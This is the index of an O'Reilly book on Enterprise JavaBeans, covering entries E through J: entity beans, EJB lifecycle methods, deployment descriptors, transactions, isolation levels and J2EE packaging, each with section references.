Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

e-commerce
firewall problems, overcoming with HTTP: 11.3 Web Components and EJB
web components, providing platform for: 11.3 Web Components and EJB
EAR files (see Enterprise Archive files)
ejb-class element: 2.1.2.2 EJB 1.1: Deployment descriptors
10.5.1 Session and Entity Beans
ejb-client-jar element: 10.4 The Descriptor's Body
EJB DTD (Document Type Definition)
elements in: 2.1.2.2 EJB 1.1: Deployment descriptors
structuring XML deployment descriptors: 2.1.2.2 EJB 1.1: Deployment descriptors
EJB (Enterprise JavaBeans): 1.6.2 EJB and CORBA CTMs
1.6.3 Benefits of a Standard Server-Side Component Model
API: A. The Enterprise JavaBeans API
javax.ejb package: A.1 Package: javax.ejb
javax.ejb.deployment package: A.2 Package: javax.ejb.deployment (EJB 1.0 Only)
architecture: 2. Architectural Overview
client view: 3.2.4 Distributed Objects
5. The Client View
client-side API: 5.2 The EJB Client-Side API
CTMs, choosing for: 1.5.3 CTMs: The Hybrid of ORBs and TP Monitors
declarative transactional management: 8.2 Declarative Transaction Management
definitions of: 1.2 Enterprise JavaBeans: Defined
deployment descriptors: 4.2.9.2 EJB 1.0 deployment tools
(see also deployment descriptors)
Version 1.1: 2.1.2.2 EJB 1.1: Deployment descriptors
design strategies: 9. Design Strategies
duplicate records: 7.3.1.5 Why use a Reservation entity bean?
implementation independence: 1. Introduction
isolation levels: 8.3.3.2 EJB 1.0 transaction isolation control
JAR files, contents of: 10.7 The ejb-jar File
Java Transaction API (JTA): 8.5 Explicit Transaction Management
JavaBeans vs.: 1.4 Component Models
J2EE specification for interaction with web components: 11.3 Web Components and EJB
packages, downloading from Sun Java site: 4.1.1 Setting Up Your Java IDE
primary services
cuncurrency: 3.2.1 Concurrency
distributed objects: 3.2.4 Distributed Objects
naming service: 3.2.5 Naming
persistence: 3.2.3 Persistence
security: 3.2.6 Security
transactions: 3.2.2 Transactions
resource management: 3. Resource Management and the Primary Services
server-side component model, benefits of: 1.6.3 Benefits of a Standard Server-Side Component Model
server transaction management: 8.2.4 Transaction Propagation
Version 1.1, new features in: D. New Features in EJB 1.1
web components and: 11.3 Web Components and EJB
ejb-jar element: 2.1.2.2 EJB 1.1: Deployment descriptors
4.2.5 EJB 1.1: The Deployment Descriptor
nesting other elements within: 10.4 The Descriptor's Body
ejb-jar file: 10.7 The ejb-jar File
ejb-jar.xml file: 4.2.7.1 EJB 1.1: Packaging the Cabin bean
ejb-link element: 10.5.4 References to Other Beans
ejb-name element: 2.1.2.2 EJB 1.1: Deployment descriptors
8.2.2.1 EJB 1.1: Setting a transaction attribute
10.5 Describing Beans
10.5.1 Session and Entity Beans
10.6.1 Specifying a Bean's Transactional Attributes
in method element: 10.6.3 Identifying Specific Methods
EJB object: 2.1.3 The Unseen Pieces
2.1.3.1 The EJB object
2.1.3.1 The EJB object
bean entity, associating with: 6.1.7 The EntityContext
concurrent access to: 3.2.1 Concurrency
ejb10-properties subcontext: 7.1.2.8 EJB 1.1: EJBContext
ejb-ref element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
10.5.1 Session and Entity Beans
defining bean name in ENC: 7.3.1.4 TravelAgentBean: The bean class
ejb-ref-name element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
in env-ref element: 10.5.4 References to Other Beans
ejb-ref-type element: 4.3.4 EJB 1.1: TravelAgent Bean's Deployment Descriptor
in env-ref element: 10.5.4 References to Other Beans
EJB-to-CORBA mapping: 3.2.4 Distributed Objects
ejbActivate( ): 3.1.2 The Activation Mechanism
3.1.2 The Activation Mechanism
6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
7.4.3 Passivated State
EJBContext interface: 2.3 The Bean-Container Contract
3.1.1.2 Overview of state transitions
10.5.3 Environment Entries
defining (EJB 1.1): 6.2.4 EJB 1.1: EJBContext
EJB API: A.1.3 EJBContext
rollback methods: 8.5.5 EJBContext Rollback Methods
stateless session beans: 7.1.2.8 EJB 1.1: EJBContext
UserTransaction object, obtaining: 8.5.1 Transaction Propagation in Bean-Managed Transactions
ejbCreate( ): 4.2.4 CabinBean: The Bean Class
adding entity to database: 6.2.7 The ejbCreate( ) Method
bean class, stateful session beans: 7.3.1.4 TravelAgentBean: The bean class
bean instance creation, sequence of events: 6.1.8.3 ejbCreate( ) and ejbPostCreate( ) sequence of events
container-managed entity beans: 6.1.8 The Create Methods
create( ), matching in home interface: 5.2.3.4 Creating and finding beans
stateless session beans: 7.2.2.1 Transitioning to the Method-Ready Pool
EJBException: 6.2.10 ejbFind( ) Methods
in bean-managed persistence: 6.2.1 Making the ShipBean a Bean-Managed Entity
checked subsystem exceptions, wrapping: 6.2.2 Exception Handling
EJB callback methods and: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
Version 1.1: A.1.4 EJBException (1.1)
ejbFind( ): 6.2.10 ejbFind( ) Methods
(see also find methods)
entity beans with bean-managed persistence: 6.2.10 ejbFind( ) Methods
EJBHome interface: 2.1.3 The Unseen Pieces
2.1.3.2 The EJB home
2.1.3.3 Deploying a bean
4.2.2 CabinHome: The Home Interface
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
5.2.3 The Home Interface
5.2.5.1 Getting the EJBHome
A.1.5 EJBHome
for EJB 1.1: 5.2.3 The Home Interface
locating reference to with JNDI: 3.2.5 Naming
reference to: 4.3.3.1 EJB 1.1: TravelAgentBean
4.3.3.2 EJB 1.0: TravelAgentBean
stateless session bean: 7.1.2.5 ProcessPaymentHome: The home interface
transactional attributes for remove methods: 10.6.1 Specifying a Bean's Transactional Attributes
ejbLoad( ): 2.3 The Bean-Container Contract
6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
6.2.8 The ejbLoad( ) and ejbStore( ) Methods
6.3.3.3 Transitioning from the Pooled state to the Ready State via activation
bean-managed persistence, use in: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
Ready state and: 6.3.4 Life in the Ready State
EJBMetaData interface: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
5.2.3.2 Bean metadata
EJB API: A.1.6 EJBMetaData
session beans: 7.1.2.5 ProcessPaymentHome: The home interface
EJBObject interface: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
defining, client-side API: 5.2.5 EJBObject, Handle, and Primary Key
disassociating instances from: 3.1.2 The Activation Mechanism
EJB API: A.1.7 EJBObject
HomeHandle object, retrieving: 5.2.3.3 EJB 1.1: The HomeHandle
implementation strategies: 2.1.3.1 The EJB object
transactional attributes for remove methods: 10.6.1 Specifying a Bean's Transactional Attributes
ejbPassivate( ): 3.1.2 The Activation Mechanism
3.1.2 The Activation Mechanism
6.3.3.5 Transitioning from the Ready State to the Pooled state via removal
closing JNDI context: 7.3.1.4 TravelAgentBean: The bean class
ejbPostCreate( )
bean instance creation, sequence of events: 6.1.8.3 ejbCreate( ) and ejbPostCreate( ) sequence of events
container-managed entity beans: 6.1.8.2 ejbPostCreate( )
entity beans, creating: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation
ejbPostCreate( ) (EJBHome): 4.2.4 CabinBean: The Bean Class
ejbRemove( ): 6.3.3.5 Transitioning from the Ready State to the Pooled state via removal
removing bean-managed entities with: 6.2.9 The ejbRemove( ) Method
stateless session beans, closing open connections: 7.2.2.1 Transitioning to the Method-Ready Pool
ejbStore( ): 2.3 The Bean-Container Contract
6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
bean-managed persistence, use in: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
defining: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
Ready state and: 6.3.4 Life in the Ready State
elements
EJB DTD for XML-based deployment descriptors: 2.1.2.2 EJB 1.1: Deployment descriptors
tagging in XML document: 4.2.5 EJB 1.1: The Deployment Descriptor
XML deployment descriptor: 10.4 The Descriptor's Body
encapsulation
business logic into business objects: 1.1.2 Server-Side Components
primary key data: 5.2.5.2 Primary key
10.5.2 Specifying Primary Keys
workflow, in stateful session beans: 7.3 The Stateful Session Bean
Enterprise Archive (EAR) files: 11.4 J2EE Fills in the Gaps
contents of: 11.4 J2EE Fills in the Gaps
enterprise-bean element: 10.5 Describing Beans
enterprise beans: 2.1 The Enterprise Bean Component
2.1.1 Classes and Interfaces
2.1.3.3 Deploying a bean
accessing from client application: 4.2.10 Creating a Client Application
adding to containers: 2.1.3.3 Deploying a bean
authentication, performing explicitly: 6.2.6.1 EJB 1.1: Using JDBC in EJB
classes and interfaces: 2.1.1 Classes and Interfaces
2.1.1.5 What about session beans?
containers and: 2.3 The Bean-Container Contract
developing your first: 4.1 Choosing and Setting Up an EJB Server
interacting with other beans: 4.3.3.1 EJB 1.1: TravelAgentBean
4.3.3.2 EJB 1.0: TravelAgentBean
using (Titan Cruises example): 2.2 Using Enterprise Beans
enterprise-beans element: 2.1.2.2 EJB 1.1: Deployment descriptors
4.2.5 EJB 1.1: The Deployment Descriptor
10.4 The Descriptor's Body
Enterprise JavaBeans (see EJB)
Enterprise Resource Planing (ERP) systems, indexing objects to databases: 6.1.2.3 EJB 1.1: Undefined primary keys
EnterpriseBean interface: A.1.8 EnterpriseBean
entity beans: 6. Entity Beans
10.5.1 Session and Entity Beans
(see also entity elements)
as fields within other beans: 9.7.2 Complex Entity Relationships
9.7.2.3 Native Java persistence
database mapping: 9.7.2.1 One-to-many database mapping
9.7.2.3 Native Java persistence
bean class, developing (example): 4.2.4 CabinBean: The Bean Class
bean-managed persistence: 6.2 Bean-Managed Persistence
adding to database with ejbCreate( ): 6.2.7 The ejbCreate( ) Method
connections to database, obtaining: 6.2.6 Obtaining a Connection to the Database
defining (example): 6.2.1 Making the ShipBean a Bean-Managed Entity
deployment: 6.2.11 EJB 1.1: Deploying the Bean-Managed Ship Bean
find methods: 6.2.10 ejbFind( ) Methods
removing from database: 6.2.9 The ejbRemove( ) Method
synchronization with database: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
client application, using: 7.3.1.5 Why use a Reservation entity bean?
code, downloading from O'Reilly web site: 7.1.1 Downloading the Missing Pieces
concurrency: 3.2.1 Concurrency
container-managed persistence: 6.1 Container-Managed Persistence
bean class: 6.1.5 The ShipBean Class
client application, creating: 6.1.9 The Client Application
deployment descriptors (EJB 1.1): 6.1.8.5 EJB 1.1: Deploying the ShipBean
ejbLoad( ) and ejbStore( ), using in: 6.1.8.4 Using ejbLoad( ) and ejbStore( ) in container-managed beans
EntityBean interface, implementing: 6.1.6 Implementing the javax.ejb.EntityBean Interface
home interface: 6.1.3 The Home Interface
primary key: 6.1.2 The Primary Key
6.1.2.3 EJB 1.1: Undefined primary keys
10.5.2.1 Deferring primary key definition
remote interface, defining: 6.1.1 The Remote Interface
sequence diagrams: B.1.2 quence Diagrams for Container-Managed Persistence
container-transaction element declarations: 10.6 Describing Bean Assembly
dependent classes vs.: 7.1.2.3 Dependent classes: The CreditCard and Check classes
developing (example): 4.2 Developing an Entity Bean
client application, creating: 4.2.10 Creating a Client Application
deployment: 4.2.9 Deploying the Cabin Bean
deployment descriptor (EJB 1.0): 4.2.6 EJB 1.0: The Deployment Descriptor
deployment descriptor (XML): 4.2.4 CabinBean: The Bean Class
home interface: 4.2.2 CabinHome: The Home Interface
JAR files: 4.2.7 cabin.jar: The JAR File
primary key: 4.2.3 CabinPK: The Primary Key
remote interface: 4.2.1 Cabin: The Remote Interface
direct database access vs.: 6. Entity Beans
EJB 1.1, new features for: D.1 Entity Beans
getting information from: 2.2.1 Getting Information from an Entity Bean
handles, implementation of: 5.2.6 Inside the Handle
life cycle: 3.1.1.1 The entity bean life cycle
6.3 The Life Cycle of an Entity Bean
ending: 6.3.5 End of the Life Cycle
Ready state: 6.3.3 The Ready State
6.3.4 Life in the Ready State
state diagram: B.1 Entity Beans
transitions in states: 3.1.1.2 Overview of state transitions
transitions to/from Pooled to Ready state: 6.3.3.1 Transitioning from the Pooled state to the Ready State via creation
listing behavior vs.: 7.3.1.6 listAvailableCabins( ): Listing behavior
9.3.2 Resource Consumption
mapping to databases: 4.2.8 Creating a CABIN Table in the Database
4.2.9.2 EJB 1.0 deployment tools
methods requiring transaction attributes: 10.6.1 Specifying a Bean's Transactional Attributes
modeling business concepts: 2.1 The Enterprise Bean Component
6. Entity Beans
nonreentrance policy: 3.2.1.1 Reentrance
object serialization and: 3.1.2 The Activation Mechanism
operations allowed for: B.1.3 Sequence Diagrams for Bean-Managed Persistence
persistence: 3.2.3 Persistence
6. Entity Beans
persistent fields, manipulating with bulk accessors: 9.2.3 Bulk Accessors
primary key: 5.2.5.2 Primary key
5.2.5.2 Primary key
6.1.2.2 Single-field key
properties, defining as business concept: 6.1.1.1 Set and get methods
relationships: 9.7 Entity Bean Relationships
remove methods: 5.2.3.1 Removing beans
removing: 5.2.3.1 Removing beans
5.2.5.4 Removing beans
runAs Identity: 3.2.6.2 EJB 1.0: Method-driven access control
servers, not supporting: 9.9 When Entity Beans Are Not an Option
session beans, emulating: 9.9.1 Emulating Entity Beans with Session Beans
session beans vs.: 2.2.2 Modeling Workflow with Session Beans
7. Session Beans
7.3.1.5 Why use a Reservation entity bean?
9.3.3 Striking a Balance
simple relationships: 9.7.1 Simple Associations
9.7.1.5 Native Java persistence
byte arrays and Java serialization: 9.7.1.2 Mapping serializable to VARBINARY
handles: 9.7.1.4 Preserving the handle
native Java persistence: 9.7.1.5 Native Java persistence
state (see life cycle)
UserTransaction transactions (EJB 1.0): 8.5.1 Transaction Propagation in Bean-Managed Transactions
without create methods: 9.6 Entity Beans Without Create Methods
entity context methods in bean class: 4.2.4 CabinBean: The Bean Class
entity elements: 2.1.2.2 EJB 1.1: Deployment descriptors
4.2.5 EJB 1.1: The Deployment Descriptor
10.5 Describing Beans
10.5 Describing Beans
entity objects
network traffic (impact of overuse): 9.3.1 Network Traffic and Latency
passing by value: 9.2.4 Entity Objects
9.2.4 Entity Objects
(see also passing objects by value)
EntityBean interface: 2.3 The Bean-Container Contract
4.2.4 CabinBean: The Bean Class
6.1.6 Implementing the javax.ejb.EntityBean Interface
6.3 The Life Cycle of an Entity Bean
callback methods defined in: 2.1.1.3 The bean class
EJB API: A.1.9 EntityBean
implementing in container-managed beans: 6.1.6 Implementing the javax.ejb.EntityBean Interface
EntityContext interface: 2.3 The Bean-Container Contract
4.2.4 CabinBean: The Bean Class
6.1.7 The EntityContext
6.3.2 The Pooled State
defining: 6.2.3 EntityContext
EJB API: A.1.10 EntityContext
getPrimaryKey( ): 6.2.3 EntityContext
primary key, obtaining from: 6.2.8 The ejbLoad( ) and ejbStore( ) Methods
Ready state and: 3.1.1.2 Overview of state transitions
EntityDescriptor class: 2.1.2.1 EJB 1.0: Deployment descriptors
4.2.6 EJB 1.0: The Deployment Descriptor
EJB API: A.2.4 EntityDescriptor
serializing (example): 4.2.6 EJB 1.0: The Deployment Descriptor
Enumeration type: 6.1.3.1 The find methods
multi-entity find methods, returning: 6.2.1 Making the ShipBean a Bean-Managed Entity
env-entry element: 10.5.1 Session and Entity Beans
declaration example: 10.5.3 Environment Entries
env-entry-name element: 10.5.3 Environment Entries
env-entry-type, data types in: 10.5.3 Environment Entries
environment naming context (JNDI ENC) (see under JNDI)
environment properties: 6.2.5 EJB 1.0: EJBContext
accessing, stateless session bean: 7.1.2.6 ProcessPaymentBean: The bean class
EJB 1.1, new features for: D.4 The Default JNDI Context
entity bean with bean-managed persistence, setting for: 6.2.12 EJB 1.0: Deploying the Bean-Managed Ship Bean
vendor- and environment-specific information, defining at deployment: 6.2.6.2 EJB 1.0: Using JDBC in EJB
equals( ) (Object): 5.2.5.3 Comparing beans for identity
6.1.2 The Primary Key
equivalence, bean instances in instance pool: 3.1.1.2 Overview of state transitions
events, notifying beans of: 2.1.1.3 The bean class
exceptions
bean class interfaces: 9.5.2 The Business Interface Alternative
bean-managed entity beans, handling: 6.2.2 Exception Handling
bean-managed transactions: 8.7.3 Bean-Managed Transactions
checked or unchecked (in transactions): 8.7 EJB 1.0: Exceptions and Transactions
home interface, stateless session beans: 7.1.2.5 ProcessPaymentHome: The home interface
Java RMI: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
remote interface, stateless session beans: 7.1.2.2 ProcessPayment: The remote interface
subsystem exceptions: 7.1.2.4 PaymentException: An application exception
transactions: B.2.3 EJB 1.1: Interactions Between Exceptions and Transactions
EJB 1.1: 8.6.1 Application Exceptions Versus System Exceptions
exclusive write locks: 8.3.2 Database Locks
executable software, server-side components as: 1.1.2 Server-Side Components
explicit narrowing of remote references: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
explicit transaction management: 8.2.3 Transaction Attributes Defined
8.5 Explicit Transaction Management
8.7 EJB 1.0: Exceptions and Transactions
by beans: 8.5 Explicit Transaction Management
Extensible Markup Language (see XML)
external resources
connections to: 6.2.6.1 EJB 1.1: Using JDBC in EJB
JDBC URLs, obtaining for vendor-specific: 6.2.6.2 EJB 1.0: Using JDBC in EJB

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

FIFO (first in, first out) strategy: 3.1.1.3 Instance swapping
finalize( ): 6.3.5 End of the Life Cycle
find methods
container-managed persistence: 4.2.4 CabinBean: The Bean Class
defining appropriate: 5.2.3.4 Creating and finding beans
home interface: 6.1.3 The Home Interface
container-managed entity beans: 6.1.3.1 The find methods
session beans: 4.3.2 TravelAgentHome: The Home Interface
5.2.3.4 Creating and finding beans
transactional attributes required in deployment descriptor: 10.6.1 Specifying a Bean's Transactional Attributes
transitioning instances from Pooled to Ready state: 6.3.3.2 Transitioning from the Pooled state to the Ready State via a find method
findByPrimaryKey( ): 5.2.6 Inside the Handle
container-managed bean classes and: 4.2.4 CabinBean: The Bean Class
findByPrimaryKey( ) (EJBHome): 2.1.1.2 The home interface
4.2.2 CabinHome: The Home Interface
6.1.3.1 The find methods
6.2.10 ejbFind( ) Methods
FinderException: 5.2.5.2 Primary key
6.1.3.1 The find methods
6.1.3.1 The find methods
6.2.10 ejbFind( ) Methods
8.6.1.2 Application exceptions
EJB API: A.1.11 FinderException
firewalls, creating problems for e-commerce: 11.3 Web Components and EJB
forms, requests for: 11.1 Servlets
fully-qualified class names, elements in EJB DTD: 2.1.2.2 EJB 1.1: Deployment descriptors

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

garbage collection, entity beans: 6.3.5 End of the Life Cycle
get and set methods, remote interface: 6.1.1.1 Set and get methods
getCallerIdentity( ) (EJBContext): 6.2.5 EJB 1.0: EJBContext
getCallerPrincipal( ) (EJBContext): 6.2.4 EJB 1.1: EJBContext
getConnection( ): 6.2.6.1 EJB 1.1: Using JDBC in EJB
7.1.2.6 ProcessPaymentBean: The bean class
getEJBHome( )
EJBContext interface: 6.2.3 EntityContext
6.2.4 EJB 1.1: EJBContext
6.2.5 EJB 1.0: EJBContext
EJBMetaData interface: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
EJBObject interface: 5.2.5.1 Getting the EJBHome
HomeHandle interface: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
getEJBMetaData( ) (EJBHome): 5.2.3.2 Bean metadata
getEJBObject( ) (Handle): 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
5.2.5.5 The bean handle
getEnvironment( ) (EJBContext): 6.2.4 EJB 1.1: EJBContext
6.2.5 EJB 1.0: EJBContext
6.2.6.2 EJB 1.0: Using JDBC in EJB
7.1.2.8 EJB 1.1: EJBContext
10.5.3 Environment Entries
getHandle( ) (EJBObject): 5.2.5.5 The bean handle
getHome( ), using jndiContext to obtain reference: 7.3.1.4 TravelAgentBean: The bean class
getHomeHandle( )
EJBHome interface: 5.2.3 The Home Interface
EJBObject interface: 5.2.3.3 EJB 1.1: The HomeHandle
getInitialContext( ): 4.2.10 Creating a Client Application
4.3.3.2 EJB 1.0: TravelAgentBean
5.1 Locating Beans with JNDI
getJndiContext( ), stateful session beans: 7.3.1.4 TravelAgentBean: The bean class
getName( ) (Identity): 6.2.5 EJB 1.0: EJBContext
getPrimaryKey( )
EJBObject interface: 5.2.5.2 Primary key
EntityContext interface: 6.2.3 EntityContext
stateless session beans, throwing RemoteException: 7.1.2.2 ProcessPayment: The remote interface
getPrimaryKeyClass( ): 7.1.2.5 ProcessPaymentHome: The home interface
getRollbackOnly( ) (EJBContext): 8.5.5 EJBContext Rollback Methods
getStatus( ) (UserTransaction): 8.5.3 UserTransaction
8.5.4 Status
getUserTransaction( ) (EJBContext): 8.5.1 Transaction Propagation in Bean-Managed Transactions
granularity of business objects: 9.3 Improved Performance with Session Beans
graphical user interface (GUI)
component models: 1.6.3 Benefits of a Standard Server-Side Component Model
in distributed business object architecture: 1.1.1 Distributed Objects

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

handles: 5.2.5.5 The bean handle
entity beans, simple relationships: 9.7.1.4 Preserving the handle
Handle interface: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
5.2.5.5 The bean handle
A.1.12 Handle
HomeHandle interface: A.1.13 HomeHandle (1.1)
implementation: 5.2.6 Inside the Handle
primary key vs.: 5.2.5.5 The bean handle
removing beans with: 5.2.3.1 Removing beans
serializing and deserializing: 5.2.5.5 The bean handle
session beans, ability to use on: 5.2.5.5 The bean handle
stateful session beans: 7.1.2.2 ProcessPayment: The remote interface
stateless session beans: 7.1.2.2 ProcessPayment: The remote interface
hash codes in compound primary keys: 9.1 Hash Codes in Compound Primary Keys
hashCode( )
Object class: 6.1.2 The Primary Key
primary key overriding: 6.1.2 The Primary Key
headers, XML documents: 10.3 The Document Header
heuristic decisions in committing or rolling back transactions: 8.5.2 Heuristic Decisions
home element: 2.1.2.2 EJB 1.1: Deployment descriptors
10.5.4 References to Other Beans
home interface: 2.1.1 Classes and Interfaces
5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
5.2.3.4 Creating and finding beans
client-side API: 5.2.3 The Home Interface
bean metadata: 5.2.3.2 Bean metadata
create and find methods: 5.2.3.4 Creating and finding beans
container-managed entity beans: 6.1.3 The Home Interface
create methods: 6.1.3 The Home Interface
6.1.8 The Create Methods
find methods: 6.1.3 The Home Interface
6.1.3.1 The find methods
create( ): 2.1.3.2 The EJB home
4.3.2 TravelAgentHome: The Home Interface
5.2.3.4 Creating and finding beans
CreateException: A.1.1 CreateException
defining: 2.1.1.2 The home interface
entity beans: 2.1.1.2 The home interface
4.2.2 CabinHome: The Home Interface
session beans: 4.3.2 TravelAgentHome: The Home Interface
in ejb-jar files: 10.7 The ejb-jar File
find methods: 5.2.3.4 Creating and finding beans
return types: 6.2.10 ejbFind( ) Methods
Java RMI return types, parameters, and exceptions: 6.1.4 Java RMI Return Types, Parameters, and Exceptions
methods, distinguishing from remote interface: 10.6.3.4 Remote/home differentiation
reference to, obtaining: 6.2.4 EJB 1.1: EJBContext
security roles, mapping to methods: 10.6.2.1 Assigning roles to methods
stateful session beans: 7.3.1.2 TravelAgentHome: The home interface
stateless session beans: 7.1.2.5 ProcessPaymentHome: The home interface
HomeHandle interface: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
5.2.5.6 EJB 1.1: HomeHandle
EJB API: A.1.13 HomeHandle (1.1)
HomeHandle object: 5.2.3 The Home Interface
5.2.3.3 EJB 1.1: The HomeHandle
HTML
advantages over client applications and applets: 11.3 Web Components and EJB
XML vs.: 10.1 What Is an XML Deployment Descriptor?
HTML pages, incorporating with Java JSP: 11.2 Java Server Pages
HTTP requests
J2EE server, required support for: 11.4.2 Guaranteed Services
servlet handling of: 11.1 Servlets
HTTPS, J2EE server, required support for: 11.4.2 Guaranteed Services

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: I

Identity objects: 3.2.6 Security
3.2.6.2 EJB 1.0: Method-driven access control
AccessControlEntry and ControlDesriptors: 3.2.6.2 EJB 1.0: Method-driven access control
comparison operations for: 6.2.5 EJB 1.0: EJBContext
EJB 1.0, obtaining: 6.2.5 EJB 1.0: EJBContext
obtaining: 6.2.5 EJB 1.0: EJBContext
identity of beans, comparing for: 5.2.5.3 Comparing beans for identity
IDEs (integrated development environments), graphical setup of deployment descriptors: 2.1.2 Deployment Descriptors and JAR Files
IDL (Interface Definition Language): 3.2.4 Distributed Objects
Java RMI-IIOP restrictions on remote interfaces and value types: 5.2.2.1 EJB 1.1: Java RMI-IIOP type restrictions
IIOP protocol
casting, not supporting: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
problems with firewalls: 11.3 Web Components and EJB
IllegalStateException: 6.2.3 EntityContext
implementation class (see bean class)
implementation independence of EJB: 1. Introduction
implicit casting: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
implicit transaction management: 8.5 Explicit Transaction Management
transaction attributes, using: 8.2.2 Transaction Attributes
IncompleteConversationalState exception: 5.2.2 EJB 1.1 and 1.0: The Java RMI Programming Model
7.3.1.1 TravelAgent: The remote interface
indexing objects to databases, different methods for: 6.1.2.3 EJB 1.1: Undefined primary keys
inheritance concept in programming languages: 5.2.2.2 EJB 1.1: Explicit narrowing using PortableRemoteObject
InitialContext class: 7.3.1.4 TravelAgentBean: The bean class
client components and: 11.4.1 J2EE Application Client Components
InitialContext object: 5.1 Locating Beans with JNDI
instance pooling: 3.1.1 Instance Pooling
3.1.1 Instance Pooling
6.1.7 The EntityContext
6.3.2 The Pooled State
entity bean life cycle: 3.1.1.1 The entity bean life cycle
find methods and: 6.2.10 ejbFind( ) Methods
stateful session beans, not using: 7.4 The Life Cycle of a Stateful Session Bean
stateless session beans: 7.2 The Life Cycle of a Stateless Session Bean
instance swapping: 3.1.1.2 Overview of state transitions
stateful session beans, not using: 7.4 The Life Cycle of a Stateful Session Bean
stateless session beans: 3.1.1.3 Instance swapping
7.2.2.2 Life in the Method-Ready Pool
instance variables, stateless session beans: 7.1 The Stateless Session Bean
Interface Definition Language (see IDL)
interfaces: 2.1.1 Classes and Interfaces
2.1.1.5 What about session beans?
in component models: 1.4 Component Models
Person interface (example): 1.3.1 Rolling Your Own Distributed Object
1.3.1 Rolling Your Own Distributed Object
interoperability
J2EE systems, future improvement in: 11.6 Future Enhancements
J2EE systems with different systems: 11.4.3 Connectivity and Interoperability
intra-instance method invocation: 3.2.1.1 Reentrance
intraprocess development, JavaBeans and: 1.4 Component Models
isCallerInRole( ) (EJBContext): 6.2.4 EJB 1.1: EJBContext
6.2.5 EJB 1.0: EJBContext
10.5.6 Security Roles
isIdentical( ) (EJBObject): 5.2.5.3 Comparing beans for identity
isolation of transactions: 8.1 ACID Transactions
8.1.3 Is the TravelAgent Bean Isolated?
8.3 Isolation and Database Locking
8.3.4.2 EJB 1.0: Controlling isolation levels
isolation conditions: 8.3.1 Dirty, Repeatable, and Phantom Reads
dirty reads: 8.3.1 Dirty, Repeatable, and Phantom Reads
8.3.1.1 Dirty reads
nonrepeatable reads: 8.3.1.2 Repeatable reads
phantom reads: 8.3.1 Dirty, Repeatable, and Phantom Reads
8.3.1.3 Phantom reads
repeatable reads: 8.3.1 Dirty, Repeatable, and Phantom Reads
8.3.1.2 Repeatable reads
isolation levels: 8.3.3 Transaction Isolation Levels
attributes for: 8.3.3.2 EJB 1.0 transaction isolation control
controlling in EJB 1.1 and 1.0: 8.3.3.1 EJB 1.1 transaction isolation control
performance and: 8.3.4 Balancing Performance Against Consistency
Read Committed: 8.3.3 Transaction Isolation Levels
Read Uncommitted: 8.3.3 Transaction Isolation Levels
Repeatable Read: 8.3.3 Transaction Isolation Levels
Serializable: 8.3.3 Transaction Isolation Levels

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: J

JAR files: 4.2.7 cabin.jar: The JAR File
4.3.7 EJB 1.0: The JAR File
11.4 J2EE Fills in the Gaps
(see also modules)
contents of: 2.1.2 Deployment Descriptors and JAR Files
deployment descriptors, packaging in: 2.1.2 Deployment Descriptors and JAR Files
EJB 1.1: 4.2.7.1 EJB 1.1: Packaging the Cabin bean
ejb-jar file: 10.7 The ejb-jar File
session beans, EJB 1.1 and 1.0 versions: 4.3.6 EJB 1.1: The JAR File
web archive (.war) files: 11.4 J2EE Fills in the Gaps
XML deployment descriptors: 4.2.5 EJB 1.1: The Deployment Descriptor
10.5 Describing Beans
jar utility: 4.2.7.1 EJB 1.1: Packaging the Cabin bean
using to package beans in JAR file: 10.7 The ejb-jar File
Java 2, Enterprise Edition (J2EE): 11. Java 2, Enterprise Edition
application client component: 11.4.1 J2EE Application Client Components
connectivity and interoperability with non-J2EE systems: 11.4.3 Connectivity and Interoperability
Enterprise Archive (.ear) file, contents of: 11.4 J2EE Fills in the Gaps
future enhancements: 11.6 Future Enhancements
guaranteed services: 11.4.2 Guaranteed Services
